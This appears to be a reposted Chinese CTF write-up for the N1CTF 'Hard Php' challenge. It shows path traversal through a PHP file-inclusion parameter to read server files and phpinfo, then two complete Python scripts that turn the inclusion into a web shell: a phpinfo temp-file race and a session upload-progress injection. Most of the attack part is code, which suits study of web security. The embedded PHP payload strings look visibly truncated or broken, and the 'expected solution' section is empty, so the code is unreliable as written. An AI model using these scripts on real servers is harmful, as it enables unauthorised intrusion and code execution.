N1CTF Hard Php Write Up

N1CTF Hard Php Writeup

https://github.com/wonderkun/CTF_web/tree/master/web600-1?1520941487499

爆破目录,得到:
config php~
index.php~
user.php
config.php

~文件存在源码泄露。
index.php~

1.发现有文件包含漏洞: require_once 'views/'.$_GET['action']; ,但因为有 'view/'拼接路径,无法使用php://伪协议获取源码。
2.发现路径:'views/', 查看发现:

[ ] Dockerfile  2018-03-12 14:16    355  
[ ] delete  2018-03-12 12:56    245      
[ ] index   2018-03-12 13:17    2.3K     
[ ] login   2018-03-12 12:56    1.8K     
[ ] profile 2018-03-12 12:56    1.5K
[ ] publish 2018-03-12 12:56    3.0K 
[ ] register    2018-03-12 12:56    1.8K

可获取源码。Dockerfile忘记删除,可查看目标环境配置信息。
Dockerfile:

FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh

EXPOSE 80
CMD ["/run.sh"]

通过文件包含,查看 http://192.168.1.173:8080/index.php?action=../../home/nu1lctf/clean_danger.sh

clean_danger.sh:

cd /app/adminpic/ 
rm *.jpg 
cd /var/www/html/adminpic/ 
rm * 

查看 '/run.sh',返回500错误。(后续getshell成功后, 仍无权限读取run.sh,不知道是否时环境问题。)

根据Dockerfile,部署目标系统的依托环境,可发现其他敏感文件路径,例如:/var/www/phpinfo/index.php,访问 http://192.168.1.173:8080/index.php?action=../../var/www/phpinfo/index.php,可得到phpinfo信息。

1.预期解:

2.phpinfo+Lfi

payload:

import os
import socket 
import sys

def init(host,port):
    #padding = 'sky'*2000
    padding = 'sky0000000000'
    payload="""sky test!');?>\r"""
    request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload
    request1 = """POST /index.php?action=../../var/www/phpinfo/index.php&a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
Cookie: PHPSESSID=3pkdbhp1dje4p6acd1aav2g7u0\r
\r
%s""" %(len(request1_data),host,port,request1_data)
    request2 = """GET /index.php?action=../..%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
Cookie: PHPSESSID=3pkdbhp1dje4p6acd1aav2g7u0\r
\r
\r
"""
    return (request1,request2)


def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = "" 
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] => ")
    if i == -1:
        print 'not fonud'
    print "found %s at %i" % (d[i:i+10],i)
    return i+256

def phpinfo_LFI(host,port,offset,request1,request2):
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s1.connect((host,port))
    s2.connect((host,port))
    
    s1.send(request1)
    d = ""
    while len(d) < offset:
        d += s1.recv(offset) 
    try:
        i = d.index("[tmp_name] => ")
        fn = d[i+17:i+31]
        s2.send(request2 % (fn,host,port))
        tmp = s2.recv(4096)
        
        if tmp.find("sky test!") != -1:
            return fn
    except ValueError:
        return None
    s1.close()
    s2.close()
  
attempts = 1000
host = "192.168.1.172"
port = 8080
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
    print "try:"+str(i)+"/"+str(attempts)
    sys.stdout.flush()
    res = phpinfo_LFI(host,port,offset,request1,request2)
    if res is not None:
        print 'You can getshell with /app/sky!'
        break

3.Session+Lfi

session.name    PHPSESSID   PHPSESSID
session.referer_check   no value    no value
session.save_handler    files   files
session.save_path   /var/lib/php5   /var/lib/php5

根据以上信息,可通过文件包含session文件,例如:
/var/lib/php5/sess_[PHPSESSID]。

payload:

import requests
import time
import threading


host = 'http://192.168.1.172:8080'
lfiPath ='/index.php?action=../..'
PHPSESSID = '3pkdbhp1dje4p6acd1aav2g7u0'
writablePath = '/app/sky'
sessionPath = '/var/lib/php5/'


def creatSession():
    while True:
        files = {
        "upload" : ("tmp.jpg", open("/etc/passwd", "rb"))
        }
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : "32p8');?>"%writablePath}
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host,files = files,headers = headers,data=data)

fileName = sessionPath+"sess_"+PHPSESSID

if __name__ == '__main__':

    url = "{}{}{}".format(host,lfiPath,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if "32p8" in res.content:
            print("[*] Get shell success.")
            print(url)
            break
        else:
            print("[-] retry.")

通过方法2、3可以成功getshell。

你可能感兴趣的:(N1CTF Hard Php Write Up)